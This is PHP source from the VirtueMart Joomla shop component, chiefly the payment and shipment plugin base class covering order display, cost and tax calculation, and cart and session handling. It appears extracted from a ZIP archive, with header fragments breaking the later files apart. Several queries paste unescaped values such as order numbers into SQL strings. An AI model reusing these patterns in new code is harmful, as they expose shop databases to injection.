Valerie Isaksen */ function onShowOrderBE ($_virtuemart_order_id, $_method_id) { return NULL; } /** * This method is fired when showing when priting an Order * It displays the the payment method-specific data. * * @param integer $_virtuemart_order_id The order ID * @param integer $method_id method used for this order * @return mixed Null when for payment methods that were not selected, text (HTML) otherwise * @author Valerie Isaksen */ function onShowOrderPrint ($order_number, $method_id) { if (!$this->selectedThisByMethodId ($method_id)) { return NULL; // Another method was selected, do nothing } if (!($order_name = $this->getOrderPluginName ($order_number, $method_id))) { return NULL; } VmConfig::loadJLang('com_virtuemart'); $html = '' . "\n" . ' ' . "\n" . ' ' . "\n" . ' ' . "\n" . ' ' . "\n" . ' ' . "\n" . ' ' . "\n" . ' ' . "\n" . ' ' . "\n" . ' ' . "\n"; $html .= '
      ' . JText::_ ('COM_VIRTUEMART_ORDER_PRINT_' . strtoupper($this->_type) . '_LBL') . '
      ' . JText::_ ('COM_VIRTUEMART_ORDER_PRINT_' . strtoupper($this->_type) . '_LBL') . ': ' . $order_name . '
      ' . "\n"; return $html; } private function getOrderPluginName ($order_number, $pluginmethod_id) { $db = JFactory::getDBO (); $q = 'SELECT * FROM `' . $this->_tablename . '` WHERE `order_number` = "' . $order_number . '" AND `' . $this->_idName . '` =' . $pluginmethod_id; $db->setQuery ($q); if (!($order = $db->loadObject ())) { return NULL; } $plugin_name = $this->_psType . '_name'; return $order->$plugin_name; } /** * Save updated order data to the method specific table * * @param array $_formData Form data * @return mixed, True on success, false on failures (the rest of the save-process will be * skipped!), or null when this method is not actived. * @author Oscar van Eijk */ public function onUpdateOrder ($formData) { return NULL; } /** * Save updated orderline data to the method specific table * * @param array $_formData Form data * @return mixed, True on success, false on failures (the rest of the save-process will be * skipped!), or null when this method is not actived. * @author Oscar van Eijk */ public function onUpdateOrderLine ($formData) { return NULL; } /** * OnEditOrderLineBE * This method is fired when editing the order line details in the backend. * It can be used to add line specific package codes * * @param integer $_orderId The order ID * @param integer $_lineId * @return mixed Null for method that aren't active, text (HTML) otherwise * @author Oscar van Eijk */ public function onEditOrderLineBE ($orderId, $lineId) { return NULL; } /** * This method is fired when showing the order details in the frontend, for every orderline. * It can be used to display line specific package codes, e.g. with a link to external tracking and * tracing systems * * @param integer $_orderId The order ID * @param integer $_lineId * @return mixed Null for method that aren't active, text (HTML) otherwise * @author Oscar van Eijk */ public function onShowOrderLineFE ($orderId, $lineId) { return NULL; } /** * This event is fired when the method notifies you when an event occurs that affects the order. * Typically, the events represents for payment authorizations, Fraud Management Filter actions and other actions, * such as refunds, disputes, and chargebacks. * * NOTE for Plugin developers: * If the plugin is NOT actually executed (not the selected payment method), this method must return NULL * * @param $return_context: it was given and sent in the payment form. The notification should return it back. * Used to know which cart should be emptied, in case it is still in the session. * @param int $virtuemart_order_id : payment order id * @param char $new_status : new_status for this order id. * @return mixed Null when this method was not selected, otherwise the true or false * * @author Valerie Isaksen * */ public function onNotification () { return NULL; } /** * OnResponseReceived * This event is fired when the method returns to the shop after the transaction * * the method itself should send in the URL the parameters needed * NOTE for Plugin developers: * If the plugin is NOT actually executed (not the selected payment method), this method must return NULL * * @param int $virtuemart_order_id : should return the virtuemart_order_id * @param text $html: the html to display * @return mixed Null when this method was not selected, otherwise the true or false * * @author Valerie Isaksen * */ function onResponseReceived (&$virtuemart_order_id, &$html) { return NULL; } function getDebug () { return $this->_debug; } function setDebug ($params) { return $this->_debug = $params->get ('debug', 0); } /** * Get Plugin Data for a go given plugin ID * * @author Valérie Isaksen * @param int $pluginmethod_id The method ID * @return method data */ final protected function getPluginMethod ($method_id) { if (!$this->selectedThisByMethodId ($method_id)) { return FALSE; } return $this->getVmPluginMethod ($method_id); } /** * Fill the array with all plugins found with this plugin for the current vendor * * @return True when plugins(s) was (were) found for this vendor, false otherwise * @author Oscar van Eijk * @author max Milbers * @author valerie Isaksen */ protected function getPluginMethods ($vendorId) { if (!class_exists ('VirtueMartModelUser')) { require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'user.php'); } $usermodel = VmModel::getModel ('user'); $user = $usermodel->getUser (); $user->shopper_groups = (array)$user->shopper_groups; $db = JFactory::getDBO (); $select = 'SELECT l.*, v.*, '; if (JVM_VERSION === 1) { $extPlgTable = '#__plugins'; $extField1 = 'id'; $extField2 = 'element'; $select .= 'j.`' . $extField1 . '`, j.`name`, j.`element`, j.`folder`, j.`client_id`, j.`access`, j.`params`, j.`checked_out`, j.`checked_out_time`, s.virtuemart_shoppergroup_id '; } else { $extPlgTable = '#__extensions'; $extField1 = 'extension_id'; $extField2 = 'element'; $select .= 'j.`' . $extField1 . '`,j.`name`, j.`type`, j.`element`, j.`folder`, j.`client_id`, j.`enabled`, j.`access`, j.`protected`, j.`manifest_cache`, j.`params`, j.`custom_data`, j.`system_data`, j.`checked_out`, j.`checked_out_time`, j.`state`, s.virtuemart_shoppergroup_id '; } if(!defined(VMLANG)){ VmConfig::setdbLanguageTag(); } $q = $select . ' FROM `#__virtuemart_' . $this->_psType . 'methods_' . VMLANG . '` as l '; $q .= ' JOIN `#__virtuemart_' . $this->_psType . 'methods` AS v USING (`virtuemart_' . $this->_psType . 'method_id`) '; $q .= ' LEFT JOIN `' . $extPlgTable . '` as j ON j.`' . $extField1 . '` = v.`' . $this->_psType . '_jplugin_id` '; $q .= ' LEFT OUTER JOIN `#__virtuemart_' . $this->_psType . 'method_shoppergroups` AS s ON v.`virtuemart_' . $this->_psType . 'method_id` = s.`virtuemart_' . $this->_psType . 'method_id` '; $q .= ' WHERE v.`published` = "1" AND j.`' . $extField2 . '` = "' . $this->_name . '" AND (v.`virtuemart_vendor_id` = "' . $vendorId . '" OR v.`virtuemart_vendor_id` = "0") AND ('; foreach ($user->shopper_groups as $groups) { $q .= ' s.`virtuemart_shoppergroup_id`= "' . (int)$groups . '" OR'; } $q .= ' (s.`virtuemart_shoppergroup_id`) IS NULL ) GROUP BY v.`virtuemart_' . $this->_psType . 'method_id` ORDER BY v.`ordering`'; $db->setQuery ($q); $this->methods = $db->loadObjectList (); $err = $db->getErrorMsg (); if (!empty($err)) { vmError ('Error reading getPluginMethods ' . $err); } if ($this->methods) { foreach ($this->methods as $method) { VmTable::bindParameterable ($method, $this->_xParams, $this->_varsToPushParam); } } return count ($this->methods); } /** * Get Method Data for a given Payment ID * * @author Valérie Isaksen * @param int $virtuemart_order_id The order ID * @return $methodData */ final protected function getDataByOrderId ($virtuemart_order_id) { $db = JFactory::getDBO (); $q = 'SELECT * FROM `' . $this->_tablename . '` ' . 'WHERE `virtuemart_order_id` = ' . $virtuemart_order_id; $db->setQuery ($q); $methodData = $db->loadObject (); return $methodData; } /** * Get Method Datas for a given Payment ID * * @author Valérie Isaksen * @param int $virtuemart_order_id The order ID * @return $methodData */ final protected function getDatasByOrderId ($virtuemart_order_id) { $db = JFactory::getDBO (); $q = 'SELECT * FROM `' . $this->_tablename . '` ' . 'WHERE `virtuemart_order_id` = ' . $virtuemart_order_id; $db->setQuery ($q); $methodData = $db->loadObjectList (); return $methodData; } /** * Get the total weight for the order, based on which the proper shipping rate * can be selected. * * @param object $cart Cart object * @return float Total weight for the order * @author Oscar van Eijk */ protected function getOrderWeight (VirtueMartCart $cart, $to_weight_unit) { static $weight = 0.0; if(count($cart->products)>0 and empty($weight)){ foreach ($cart->products as $product) { $weight += (ShopFunctions::convertWeightUnit ($product->product_weight, $product->product_weight_uom, $to_weight_unit) * $product->quantity); } } return $weight; } /** * getThisName * Get the name of the method * * @param int $id The method ID * @author Valérie Isaksen * @return string Shipment name */ final protected function getThisName ($virtuemart_method_id) { $db = JFactory::getDBO (); $q = 'SELECT `' . $this->_psType . '_name` ' . 'FROM #__virtuemart_' . $this->_psType . 'methods ' . 'WHERE ' . $this->_idName . ' = "' . $virtuemart_method_id . '" '; $db->setQuery ($q); return $db->loadResult (); // TODO Error check } /** * Extends the standard function in vmplugin. Extendst the input data by virtuemart_order_id * Calls the parent to execute the write operation * * @author Max Milbers * @param array $_values * @param string $_table */ protected function storePSPluginInternalData ($values, $primaryKey = 0, $preload = FALSE) { if (!class_exists ('VirtueMartModelOrders')) { require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'orders.php'); } if (!isset($values['virtuemart_order_id'])) { $values['virtuemart_order_id'] = VirtueMartModelOrders::getOrderIdByOrderNumber ($values['order_number']); } return $this->storePluginInternalData ($values, $primaryKey, 0, $preload); } /** * Something went wrong, Send notification to all administrators * * @param string subject of the mail * @param string message */ protected function sendEmailToVendorAndAdmins ($subject = NULL, $message = NULL) { // recipient is vendor and admin $vendorId = 1; $vendorModel = VmModel::getModel('vendor'); $vendor = $vendorModel->getVendor($vendorId); $vendorEmail = $vendorModel->getVendorEmail($vendorId); $vendorName = $vendorModel->getVendorName($vendorId); VmConfig::loadJLang('com_virtuemart'); if ($subject == NULL) { $subject = JText::sprintf('COM_VIRTUEMART_ERROR_SUBJECT', $this->_name, $vendor->vendor_store_name); } if ($message == NULL) { $link=juri::root().'administrator/index.php?option=com_virtuemart&view=log&task=edit&logfile='.$this->getLogFilename().VmConfig::LOGFILEEXT; //$logFileLink=''.$this->getLogFilename().VmConfig::LOGFILEEXT.''; $message = JText::sprintf('COM_VIRTUEMART_ERROR_BODY', $subject, $link); } JUtility::sendMail($vendorEmail, $vendorName, $vendorEmail, $subject, $message); if (JVM_VERSION === 1) { //get all super administrator $query = 'SELECT name, email, sendEmail' . ' FROM #__users' . ' WHERE LOWER( usertype ) = "super administrator"'; } else { $query = 'SELECT name, email, sendEmail' . ' FROM #__users' . ' WHERE sendEmail=1'; } $db = JFactory::getDBO(); $db->setQuery($query); $rows = $db->loadObjectList(); $subject = html_entity_decode($subject, ENT_QUOTES); // get superadministrators id foreach ($rows as $row) { if ($row->sendEmail) { $message = html_entity_decode($message, ENT_QUOTES); JUtility::sendMail($vendorEmail, $vendorName, $row->email, $subject, $message); } } } /** * displays the logos of a VirtueMart plugin * * @author Valerie Isaksen * @author Max Milbers * @param array $logo_list * @return html with logos */ protected function displayLogos ($logo_list) { $img = ""; if (!(empty($logo_list))) { $url = JURI::root () . 'images/stories/virtuemart/' . $this->_psType . '/'; if (!is_array ($logo_list)) { $logo_list = (array)$logo_list; } foreach ($logo_list as $logo) { $alt_text = substr ($logo, 0, strpos ($logo, '.')); $img .= ' '; } } return $img; } /** * @param $plugin plugin */ protected function renderPluginName ($plugin) { $return = ''; $plugin_name = $this->_psType . '_name'; $plugin_desc = $this->_psType . '_desc'; $description = ''; // $params = new JParameter($plugin->$plugin_params); // $logo = $params->get($this->_psType . '_logos'); $logosFieldName = $this->_psType . '_logos'; $logos = $plugin->$logosFieldName; if (!empty($logos)) { $return = $this->displayLogos ($logos) . ' '; } if (!empty($plugin->$plugin_desc)) { $description = '' . $plugin->$plugin_desc . ''; } $pluginName = $return . '' . $plugin->$plugin_name . '' . $description; return $pluginName; } protected function getPluginHtml ($plugin, $selectedPlugin, $pluginSalesPrice) { $pluginmethod_id = $this->_idName; $pluginName = $this->_psType . '_name'; if ($selectedPlugin == $plugin->$pluginmethod_id) { $checked = 'checked="checked"'; } else { $checked = ''; } if (!class_exists ('CurrencyDisplay')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'currencydisplay.php'); } $currency = CurrencyDisplay::getInstance (); $costDisplay = ""; if ($pluginSalesPrice) { $costDisplay = $currency->priceDisplay ($pluginSalesPrice); $costDisplay = ' (' . JText::_ ('COM_VIRTUEMART_PLUGIN_COST_DISPLAY') . $costDisplay . ")"; } $html = '\n" . '\n"; return $html; } /** * */ protected function getHtmlHeaderBE () { $class = "class='key'"; $html = ' ' . "\n" . ' ' . "\n" . ' ' . JText::_ ('COM_VIRTUEMART_ORDER_PRINT_' . strtoupper($this->_psType) . '_LBL') . '' . "\n" . ' ' . "\n" . ' ' . "\n"; return $html; } /** * */ protected function getHtmlRow ($key, $value, $class = '') { $lang = JFactory::getLanguage (); $key_text = ''; $complete_key = strtoupper ($this->_type . '_' . $key); // vmdebug('getHtmlRow',$key,$complete_key); // vmdebug('getHtmlRow',$key,$complete_key); if ($lang->hasKey($complete_key)) { $key_text = JText::_ ($complete_key); } else { $key_text = JText::_ ($key); } $more_key = strtoupper($complete_key . '_' . $value); if ($lang->hasKey ($more_key)) { $value .= " (" . JText::_ ($more_key) . ")"; } $html = "\n" . $key_text . "\n " . $value . "\n\n"; return $html; } function getHtmlRowBE ($key, $value) { return $this->getHtmlRow ($key, $value, "class='key'"); } /** * getSelectable * This method returns the number of valid methods * * @param VirtueMartCart cart: the cart object * @param $method_id eg $virtuemart_shipmentmethod_id * */ function getSelectable (VirtueMartCart $cart, &$method_id, $cart_prices) { $nbMethod = 0; if ($this->getPluginMethods ($cart->vendorId) === 0) { return FALSE; } foreach ($this->methods as $method) { if ($nb = (int)$this->checkConditions ($cart, $method, $cart_prices)) { $nbMethod = $nbMethod + $nb; $idName = $this->_idName; $method_id = $method->$idName; } } return $nbMethod; } /** * * Enter description here ... * * @author Valerie Isaksen * @author Max Milbers * @param VirtueMartCart $cart * @param int $method * @param array $cart_prices */ protected function checkConditions ($cart, $method, $cart_prices) { vmAdminInfo ('vmPsPlugin function checkConditions not overriden, gives always back FALSE'); return FALSE; } /** * @param $method */ function convert_condition_amount (&$method) { $method->min_amount = (float)str_replace(',','.',$method->min_amount); $method->max_amount = (float)str_replace(',','.',$method->max_amount); } /** * @param $method * @param bool $getCurrency */ static function getPaymentCurrency (&$method, $getCurrency = FALSE) { if (!isset($method->payment_currency) or empty($method->payment_currency) or !$method->payment_currency or $getCurrency) { // if (!class_exists('VirtueMartModelVendor')) require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'vendor.php'); $vendorId = 1; //VirtueMartModelVendor::getLoggedVendor(); $db = JFactory::getDBO (); $q = 'SELECT `vendor_currency` FROM `#__virtuemart_vendors` WHERE `virtuemart_vendor_id`=' . $vendorId; $db->setQuery ($q); $method->payment_currency = $db->loadResult (); } } function getEmailCurrency (&$method) { if (!isset($method->email_currency) or $method->email_currency=='vendor') { // if (!class_exists('VirtueMartModelVendor')) require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'vendor.php'); $vendorId = 1; //VirtueMartModelVendor::getLoggedVendor(); $db = JFactory::getDBO (); $q = 'SELECT `vendor_currency` FROM `#__virtuemart_vendors` WHERE `virtuemart_vendor_id`=' . $vendorId; $db->setQuery ($q); return $db->loadResult (); } else { return $method->payment_currency; // either the vendor currency, either same currency as payment } } /** * displayTaxRule * * @param int $tax_id * @return string $html: */ function displayTaxRule ($tax_id) { $html = ''; $db = JFactory::getDBO (); if (!empty($tax_id)) { $q = 'SELECT * FROM #__virtuemart_calcs WHERE `virtuemart_calc_id`="' . $tax_id . '" '; $db->setQuery ($q); $taxrule = $db->loadObject (); $html = $taxrule->calc_name . '(' . $taxrule->calc_kind . ':' . $taxrule->calc_value_mathop . $taxrule->calc_value . ')'; } return $html; } function getCosts (VirtueMartCart $cart, $method, $cart_prices) { if (preg_match ('/%$/', $method->cost_percent_total)) { $method->cost_percent_total = substr ($method->cost_percent_total, 0, -1); } else { $method->cost_percent_total = $method->cost_percent_total; } $cartPrice = !empty($cart_prices['withTax'])? $cart_prices['withTax']:$cart_prices['salesPrice']; return ($method->cost_per_transaction + ($cartPrice * $method->cost_percent_total * 0.01)); } /** * Get the cart amount for checking conditions if the payment conditions are fullfilled * @param $cart_prices * @return mixed */ function getCartAmount($cart_prices){ if(empty($cart_prices['salesPrice'])) $cart_prices['salesPrice'] = 0.0; $cartPrice = !empty($cart_prices['withTax'])? $cart_prices['withTax']:$cart_prices['salesPrice']; if(empty($cart_prices['salesPriceShipment'])) $cart_prices['salesPriceShipment'] = 0.0; if(empty($cart_prices['salesPriceCoupon'])) $cart_prices['salesPriceCoupon'] = 0.0; $amount= $cartPrice + $cart_prices['salesPriceShipment'] + $cart_prices['salesPriceCoupon'] ; if ($amount <= 0) $amount=0; return $amount; } /** * update the plugin cart_prices * * @author Valérie Isaksen * * @param $cart_prices: $cart_prices['salesPricePayment'] and $cart_prices['paymentTax'] updated. Displayed in the cart. * @param $value : fee * @param $tax_id : tax id */ function setCartPrices (VirtueMartCart $cart, &$cart_prices, $method, $progressive = true) { if (!class_exists ('calculationHelper')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'calculationh.php'); } $_psType = ucfirst ($this->_psType); $calculator = calculationHelper::getInstance (); $cart_prices[$this->_psType . 'Value'] = $calculator->roundInternal ($this->getCosts ($cart, $method, $cart_prices), 'salesPrice'); if($this->_psType=='payment'){ $cartTotalAmountOrig=$this->getCartAmount($cart_prices); if(!$progressive){ //Simple $cartTotalAmount=($cartTotalAmountOrig + $method->cost_per_transaction) * (1 +($method->cost_percent_total * 0.01)); vmdebug('Simple $cartTotalAmount = ('.$cartTotalAmountOrig.' + '.$method->cost_per_transaction.') * (1 + ('.$method->cost_percent_total.' * 0.01)) = '.$cartTotalAmount ); vmdebug('Simple $cartTotalAmount = '.($cartTotalAmountOrig + $method->cost_per_transaction).' * '. (1 + $method->cost_percent_total * 0.01) .' = '.$cartTotalAmount ); } else { //progressive $cartTotalAmount = ($cartTotalAmountOrig + $method->cost_per_transaction) / (1 -($method->cost_percent_total * 0.01)); vmdebug('Progressive $cartTotalAmount = ('.$cartTotalAmountOrig.' + '.$method->cost_per_transaction.') / (1 - ('.$method->cost_percent_total.' * 0.01)) = '.$cartTotalAmount ); vmdebug('Progressive $cartTotalAmount = '.($cartTotalAmountOrig + $method->cost_per_transaction) .' / '. (1 - $method->cost_percent_total * 0.01) .' = '.$cartTotalAmount ); } $cart_prices[$this->_psType . 'Value'] = $cartTotalAmount - $cartTotalAmountOrig; } $taxrules = array(); if(isset($method->tax_id) and (int)$method->tax_id === -1){ } else if (!empty($method->tax_id)) { $cart_prices[$this->_psType . '_calc_id'] = $method->tax_id; $db = JFactory::getDBO (); $q = 'SELECT * FROM #__virtuemart_calcs WHERE `virtuemart_calc_id`="' . $method->tax_id . '" '; $db->setQuery ($q); $taxrules = $db->loadAssocList (); if(!empty($taxrules) ){ foreach($taxrules as &$rule){ if(!isset($rule['subTotal'])) $rule['subTotal'] = 0; if(!isset($rule['taxAmount'])) $rule['taxAmount'] = 0; $rule['subTotalOld'] = $rule['subTotal']; $rule['taxAmountOld'] = $rule['taxAmount']; $rule['taxAmount'] = 0; $rule['subTotal'] = $cart_prices[$this->_psType . 'Value']; } } } else { $taxrules = array_merge($calculator->_cartData['VatTax'],$calculator->_cartData['taxRulesBill']); if(!empty($taxrules) ){ $denominator = 0.0; foreach($taxrules as &$rule){ //$rule['numerator'] = $rule['calc_value']/100.0 * $rule['subTotal']; if(!isset($rule['subTotal'])) $rule['subTotal'] = 0; if(!isset($rule['taxAmount'])) $rule['taxAmount'] = 0; $denominator += ($rule['subTotal']-$rule['taxAmount']); $rule['subTotalOld'] = $rule['subTotal']; $rule['subTotal'] = 0; $rule['taxAmountOld'] = $rule['taxAmount']; $rule['taxAmount'] = 0; //$rule['subTotal'] = $cart_prices[$this->_psType . 'Value']; } if(empty($denominator)){ $denominator = 1; } foreach($taxrules as &$rule){ $frac = ($rule['subTotalOld']-$rule['taxAmountOld'])/$denominator; $rule['subTotal'] = $cart_prices[$this->_psType . 'Value'] * $frac; vmdebug('Part $denominator '.$denominator.' $frac '.$frac,$rule['subTotal']); } } } if(empty($method->cost_per_transaction)) $method->cost_per_transaction = 0.0; if(empty($method->cost_percent_total)) $method->cost_percent_total = 0.0; if (count ($taxrules) > 0 ) { $cart_prices['salesPrice' . $_psType] = $calculator->roundInternal ($calculator->executeCalculation ($taxrules, $cart_prices[$this->_psType . 'Value'],true,false), 'salesPrice'); //vmdebug('I am in '.get_class($this).' and have this rules now',$taxrules,$cart_prices[$this->_psType . 'Value'],$cart_prices['salesPrice' . $_psType]); $cart_prices[$this->_psType . 'Tax'] = $calculator->roundInternal (($cart_prices['salesPrice' . $_psType] - $cart_prices[$this->_psType . 'Value']), 'salesPrice'); reset($taxrules); $taxrule = current($taxrules); $cart_prices[$this->_psType . '_calc_id'] = $taxrule['virtuemart_calc_id']; foreach($taxrules as &$rule){ if(isset($rule['subTotalOld'])) $rule['subTotal'] += $rule['subTotalOld']; if(isset($rule['taxAmountOld'])) $rule['taxAmount'] += $rule['taxAmountOld']; } } else { $cart_prices['salesPrice' . $_psType] = $cart_prices[$this->_psType . 'Value']; $cart_prices[$this->_psType . 'Tax'] = 0; $cart_prices[$this->_psType . '_calc_id'] = 0; } return $cart_prices['salesPrice' . $_psType]; } /** * calculateSalesPrice * * @param $value * @param $tax_id: tax id * @return $salesPrice */ protected function calculateSalesPrice ($cart, $method, $cart_prices) { return $this -> setCartPrices($cart,$cart_prices,$method); } public function processConfirmedOrderPaymentResponse ($returnValue, $cart, $order, $html, $payment_name, $new_status = '') { if ($returnValue == 1) { //We delete the old stuff // send the email only if payment has been accepted // update status $modelOrder = VmModel::getModel ('orders'); $order['order_status'] = $new_status; $order['customer_notified'] = 1; $order['comments'] = ''; $modelOrder->updateStatusForOneOrder ($order['details']['BT']->virtuemart_order_id, $order, TRUE); $order['paymentName'] = $payment_name; //if(!class_exists('shopFunctionsF')) require(JPATH_VM_SITE.DS.'helpers'.DS.'shopfunctionsf.php'); //shopFunctionsF::sentOrderConfirmedEmail($order); //We delete the old stuff $cart->emptyCart (); JRequest::setVar ('html', $html); // payment echos form, but cart should not be emptied, data is valid } elseif ($returnValue == 2) { $cart->_confirmDone = FALSE; $cart->_dataValidated = FALSE; $cart->setCartIntoSession (); JRequest::setVar ('html', $html); } elseif ($returnValue == 0) { // error while processing the payment $mainframe = JFactory::getApplication (); $mainframe->enqueueMessage ($html); $mainframe->redirect (JRoute::_ ('index.php?option=com_virtuemart&view=cart',FALSE), JText::_ ('COM_VIRTUEMART_CART_ORDERDONE_DATA_NOT_VALID')); } } /** * @param $amount * @param $currencyId * @return array */ static function getAmountInCurrency($amount, $currencyId){ if (!class_exists ('CurrencyDisplay')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'currencydisplay.php'); } $return = array(); $paymentCurrency = CurrencyDisplay::getInstance($currencyId); $return['value'] = $paymentCurrency->roundForDisplay($amount,$currencyId,1.0,false,2); $return['display'] = $paymentCurrency->getFormattedCurrency($return['value']) ; return $return; } /** * @param $amount * @param $currencyId * @return array */ static function getAmountValueInCurrency($amount, $currencyId){ $return= vmPSPlugin::getAmountInCurrency($amount, $currencyId); return $return['value']; } function emptyCart ($session_id = NULL, $order_number = NULL) { if (!class_exists ('VirtueMartCart')) { require(JPATH_VM_SITE . DS . 'helpers' . DS . 'cart.php'); } $this->logInfo ('Notification: emptyCart ' . $session_id, 'message'); if ($session_id != NULL and $order_number != NULL) { // Recover session from the storage session in wich the payment is done $this->emptyCartFromStorageSession ($session_id, $order_number); } else { $cart = VirtueMartCart::getCart (); $cart->emptyCart (); } return TRUE; } /* * recovers the session from Storage, and only empty the cart if it has not been done already */ function emptyCartFromStorageSession ($session_id, $order_number) { $conf = JFactory::getConfig (); $handler = $conf->get ('session_handler', 'none'); $config['session_name'] = 'site'; $name = Japplication::getHash ($config['session_name']); $options['name'] = $name; $sessionStorage = JSessionStorage::getInstance ($handler, $options); // The session store MUST be registered. $sessionStorage->register (); // reads directly the session from the storage $sessionStored = $sessionStorage->read ($session_id); if (empty($sessionStored)) { return; } $sessionStorageDecoded = self::session_decode ($sessionStored); $vm_namespace = '__vm'; $cart_name = 'vmcart'; if (array_key_exists ($vm_namespace, $sessionStorageDecoded)) { // vm session is there $vm_sessionStorage = $sessionStorageDecoded[$vm_namespace]; if (array_key_exists ($cart_name, $vm_sessionStorage)) { // vm cart session is there $sessionStorageCart = unserialize ($vm_sessionStorage[$cart_name]); // only empty the cart if the order number is still there. If not there, it means that the cart has already been emptied. if ($sessionStorageCart->order_number == $order_number) { if (!class_exists ('VirtueMartCart')) { require(JPATH_VM_SITE . DS . 'helpers' . DS . 'cart.php'); } VirtueMartCart::emptyCartValues ($sessionStorageCart); $sessionStorageDecoded[$vm_namespace][$cart_name] = serialize ($sessionStorageCart); $sessionStorageEncoded = self::session_encode ($sessionStorageDecoded); $sessionStorage->write ($session_id, $sessionStorageEncoded); } } } } private static function session_decode ($session_data) { $decoded_session = array(); $offset = 0; while ($offset < strlen ($session_data)) { if (!strstr (substr ($session_data, $offset), "|")) { return array(); } $pos = strpos ($session_data, "|", $offset); $num = $pos - $offset; $varname = substr ($session_data, $offset, $num); $offset += $num + 1; $data = unserialize (substr ($session_data, $offset)); $decoded_session[$varname] = $data; $offset += strlen (serialize ($data)); } return $decoded_session; } private static function session_encode ($session_data_array) { $encoded_session = ""; foreach ($session_data_array as $key => $session_data) { $encoded_session .= $key . "|" . serialize ($session_data); } return $encoded_session; } /** * get_passkey * Retrieve the payment method-specific encryption key * * @author Oscar van Eijk * @author Valerie Isaksen * @return mixed * @deprecated */ function get_passkey () { return TRUE; $_db = JFactory::getDBO (); $_q = 'SELECT ' . VM_DECRYPT_FUNCTION . "(secret_key, '" . ENCODE_KEY . "') as passkey " . 'FROM #__virtuemart_paymentmethods ' . "WHERE virtuemart_paymentmethod_id='" . (int)$this->_virtuemart_paymentmethod_id . "'"; $_db->setQuery ($_q); $_r = $_db->loadAssoc (); // TODO Error check return $_r['passkey']; } /** * validateVendor * Check if this plugin has methods for the current vendor. * * @author Oscar van Eijk * @param integer $_vendorId The vendor ID taken from the cart. * @return True when a id was found for this vendor, false otherwise * * @deprecated ???? */ protected function validateVendor ($_vendorId) { if (!$_vendorId) { $_vendorId = 1; } $_db = JFactory::getDBO (); if (JVM_VERSION === 1) { $_q = 'SELECT 1 ' . 'FROM #__virtuemart_' . $this->_psType . 'methods v ' . ', #__plugins j ' . 'WHERE j.`element` = "' . $this->_name . '" ' . 'AND v.`' . $this->_psType . '_jplugin_id` = j.`id` ' . 'AND v.`virtuemart_vendor_id` = "' . $_vendorId . '" ' . 'AND v.`published` = 1 '; } else { $_q = 'SELECT 1 ' . 'FROM #__virtuemart_' . $this->_psType . 'methods AS v ' . ', #__extensions AS j ' . 'WHERE j.`folder` = "' . $this->_type . '" ' . 'AND j.`element` = "' . $this->_name . '" ' . 'AND v.`' . $this->_psType . '_jplugin_id` = j.`extension_id` ' . 'AND v.`virtuemart_vendor_id` = "' . $_vendorId . '" ' . 'AND v.`published` = 1 '; } $_db->setQuery ($_q); $_r = $_db->loadAssoc (); if ($_r) { return TRUE; } else { return FALSE; } } /** * @param integer $virtuemart_order_id the id of the order */ function handlePaymentUserCancel ($virtuemart_order_id) { if ($virtuemart_order_id) { // set the order to cancel , to handle the stock correctly if (!class_exists ('VirtueMartModelOrders')) { require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'orders.php'); } $modelOrder = VmModel::getModel ('orders'); $order['order_status'] = 'X'; $order['virtuemart_order_id'] = $virtuemart_order_id; $order['customer_notified'] = 0; $order['comments'] = JText::_ ('COM_VIRTUEMART_PAYMENT_CANCELLED_BY_SHOPPER'); $modelOrder->updateStatusForOneOrder ($virtuemart_order_id, $order, TRUE); //$modelOrder->remove (array('virtuemart_order_id' => $virtuemart_order_id)); } } /** * logInfo * to help debugging Payment notification for example * Keep it for compatibilty */ protected function logInfo ($text, $type = 'message', $doLog=false) { if (!class_exists( 'VmConfig' )) require(JPATH_COMPONENT_ADMINISTRATOR.DS.'helpers'.DS.'config.php'); VmConfig::loadConfig(); if ((isset($this->_debug) and $this->_debug) OR $doLog) { $oldLogFileName= VmConfig::$logFileName; VmConfig::$logFileName =$this->getLogFileName() ; logInfo($text, $type); VmConfig::$logFileName =$oldLogFileName; } } /** * */ function getLogFileName() { $name=$this->_idName; $methodId=0; if (isset ($this->_currentMethod) ) { $methodId=$this->_currentMethod->$name; } return $this->_name. '.'.$methodId ; } /** * log all messages of type ERROR * log in case the debug option is on, and the log option is on * @param string $message the message to write * @param string $title * @param string $type message, deb-ug, info, error * @param boolean $doDebug in payment notification, we don't want to use vmdebug even if the debug option is on * */ public function debugLog($message, $title='', $type = 'message', $doDebug=true) { if ( isset($this->_currentMethod) and isset($this->_currentMethod->debug) and $this->_currentMethod->debug AND $doDebug) { //vmdebug($title, $message); } if ( isset($this->_currentMethod) and !$this->_currentMethod->log and $type !='error') { //Do not log message messages if we are not in LOG mode return; } if ( $type == 'error') { $this->sendEmailToVendorAndAdmins(); } $this->logInfo($title.': '.print_r($message,true), $type, true); } } PKs>\O.com_virtuemart/plugins/vmcalculationplugin.phpnuW+A_tablepkey = 'virtuemart_calc_id'; $this->_tablename = '#__virtuemart_calc_plg_'. $this->_name; } protected function getPluginInternalDataCalc(&$calcData){ $datas = $this->getPluginInternalData($calcData->virtuemart_calc_id,'virtuemart_calc_id'); if($datas){ $attribsCalc = get_object_vars($datas); unset($attribsCalc['virtuemart_calc_id']); foreach($attribsCalc as $k=>$v){ $calcData->$k = $v; } } } }PKs>\+com_virtuemart/plugins/vmcurrencyplugin.phpnuW+A\ F))*com_virtuemart/plugins/vmshopperplugin.phpnuW+A\%:*ZZ'com_virtuemart/views/calc/view.html.phpnuW+AassignRef('perms', $perms); //@todo should be depended by loggedVendor $vendorId=1; $this->assignRef('vendorId', $vendorId); $db = JFactory::getDBO(); $this->SetViewTitle(); $layoutName = JRequest::getWord('layout', 'default'); if ($layoutName == 'edit') { $calc = $model->getCalc(); $this->assignRef('calc', $calc); $isNew = ($calc->virtuemart_calc_id < 1); if ($isNew) { $db = JFactory::getDBO(); //get default currency of the vendor, if not set get default of the shop $q = 'SELECT `vendor_currency` FROM `#__virtuemart_vendors` WHERE `virtuemart_vendor_id` = "'.$vendorId.'"'; $db->setQuery($q); $currency= $db->loadResult(); if(empty($currency)){ $q = 